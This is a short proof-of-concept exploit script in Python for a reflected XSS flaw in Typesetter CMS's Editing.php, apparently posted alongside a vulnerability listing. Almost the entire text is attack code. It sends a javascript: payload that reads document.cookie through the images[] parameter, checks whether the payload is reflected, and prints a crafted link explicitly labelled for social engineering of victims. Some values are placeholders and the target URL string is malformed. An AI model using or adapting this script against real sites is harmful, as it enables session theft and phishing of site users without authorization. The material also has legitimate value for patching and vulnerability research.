CVE-2025-71164 Typesetter CMS 反射型XSS漏洞

import requests import urllib.parse # CVE-2025-71164 PoC - Typesetter CMS Reflected XSS # Target: Typesetter CMS <= 5.1 # Component: include/tool/Editing.php # Vector: images[] parameter with javascript: protocol target_url = "http://target-site.com Typesetter CMS URL" # Malicious payload for XSS xss_payload = "javascript:alert(document.cookie)" # Construct POST request with XSS payload data = { "images[]": xss_payload, "gadget": "EditPage", # or appropriate gadget parameter "method": "SomeMethod" } # Alternative: Construct URL with reflected parameter malicious_url = f"{target_url}/include/tool/Editing.php?images[]={urllib.parse.quote(xss_payload)}" # Attack requires authenticated session with editing privileges cookies = { "session_cookie": "your_authenticated_session_here" } # Send malicious request response = requests.post(target_url, data=data, cookies=cookies) # For reflected XSS, the payload should be reflected in the response if xss_payload in response.text: print("[+] XSS payload reflected in response - Vulnerability confirmed!") else: print("[-] Payload not reflected") # Note: This PoC demonstrates the vulnerability but requires: # 1. Valid authentication with editing privileges # 2. User interaction (victim must click the malicious link) # 3. Proper context (payload reflected in href attribute) print(f"\nMalicious URL for social engineering: {malicious_url}")